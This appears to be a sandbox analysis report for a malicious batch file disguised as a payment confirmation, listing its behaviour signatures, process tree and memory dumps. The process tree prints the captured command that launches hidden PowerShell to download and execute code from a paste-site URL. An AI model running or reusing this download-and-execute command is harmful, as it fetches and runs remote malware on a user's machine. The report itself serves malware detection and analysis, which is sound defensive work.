Analysis
- max time kernel
149s - max time network
136s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 06:18
General
- Target PAYMENT_CONFIRMATION092384567.bat
- Size 10KB
- Sample260423-g2we6ads5t
- SHA256 f706f7d1114d89368d84019c05a01e504ab0ffc15a5d367facc27fc9dfdd2592
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PAYMENT_CONFIRMATION092384567.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h iex(irm https://pastee.dev/r/6KSKqogr)2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_nda2ectt.qwu.ps1
memory/3716-2-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-3-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-10-0x000001AA55730000-0x000001AA55752000-memory.dmp
memory/3716-11-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-13-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-12-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-14-0x000001AA3CF80000-0x000001AA3CF8C000-memory.dmp
memory/3716-16-0x000001AA55680000-0x000001AA55690000-memory.dmp
memory/3716-15-0x000001AA3CFD0000-0x000001AA3CFE2000-memory.dmp
memory/3716-22-0x000001AA3CF80000-0x000001AA3CF8C000-memory.dmp